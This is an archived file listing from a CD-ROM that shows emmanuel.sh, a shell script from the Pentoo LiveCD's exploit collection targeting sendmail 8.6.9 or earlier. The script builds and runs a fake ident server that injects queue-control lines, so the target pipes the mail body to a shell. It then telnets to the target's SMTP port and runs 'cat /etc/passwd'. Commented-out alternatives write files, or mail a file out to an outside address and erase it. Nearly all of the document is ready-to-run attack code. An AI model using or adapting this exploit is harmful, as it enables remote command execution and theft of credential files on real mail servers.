home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / emmanuel.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  102 lines

  1. #!/bin/sh
  2. #
  3. # exploit for sm869 or worse
  4. # identd must not be enabled (port 113 must be free)
  5.  
  6. # this must be a host that mail can go to (MX not pointing elsewhere)
  7. # that we cant reach right now (ie. host doesnt exist anymore)
  8. UNREACHABLE="goofy.uhcc.hawaii.edu"
  9.  
  10. # Commands to run on remote host
  11. COMMANDS="cat /etc/passwd"
  12.  
  13. # what host to run it on
  14. TARGET="foobar.all.net"
  15.  
  16. # work in a temp dir
  17. TD=/tmp/.Xwork.$$
  18. mkdir $TD
  19. cd $TD
  20.  
  21. cat > a.c <<_END_
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netinet/in.h>
  25.  
  26. /* run body of mail through shell run as daemon */
  27. #define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "
  28.  
  29. #ifdef other_possibilities
  30. /* write to a file as daemon */
  31. #define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
  32. /* send back a file to someone and erase it */
  33. #define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRemmanuel@2600.com\nHXxx: "
  34. #endif
  35.  
  36. readline(fd, buf, len)
  37. char *buf;
  38. {
  39.     int i = 0;
  40.  
  41.     while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
  42.        if(buf[i] == '\r' || buf[i] == '\n')
  43.            break;
  44.        i++;
  45.     }
  46.     buf[i] = '\0';
  47. }
  48.  
  49. die(str)
  50. char *str;
  51. {
  52.     perror(str); exit(1);
  53. }
  54.  
  55. main()
  56. {
  57.     int s, s2, adlen;
  58.     struct sockaddr_in ad;
  59.     char buf[60];
  60.  
  61.     ad.sin_family = AF_INET;
  62.     ad.sin_port = htons(113);
  63.     ad.sin_addr.s_addr = INADDR_ANY;
  64.     if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
  65.     if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
  66.     if(listen(s, 1) == -1) die("listen");
  67.     adlen = sizeof(ad);
  68.     s2 = accept(s, (struct sockaddr *)&ad, &adlen);
  69.     if(s2 == -1) die("accept");
  70.     printf("Connection from %s port %d\n", 
  71.         inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
  72.     readline(s2, buf, 50);
  73.     sprintf(buf + strlen(buf), " : %s\n", REPLY);
  74.     write(s2, buf, strlen(buf));
  75. }
  76. _END_
  77.  
  78. # compile program
  79. echo "compiling"
  80. cc a.c -o ident
  81. echo "running fake ident"
  82. ./ident &
  83.  
  84. # send to reomte
  85. echo "talking to remote"
  86. (
  87.   sleep 1; echo "helo"
  88.   sleep 1; echo "mail from: <dan>"
  89.   sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
  90.   sleep 1; echo "data"
  91.   echo "$COMMANDS"
  92.   echo "."
  93.   sleep 1; echo "quit"
  94.   sleep 5
  95. ) | telnet $TARGET 25
  96.  
  97. # cleanup
  98. cd /
  99. rm -rf $TD
  100. echo "done."
  101.  
  102.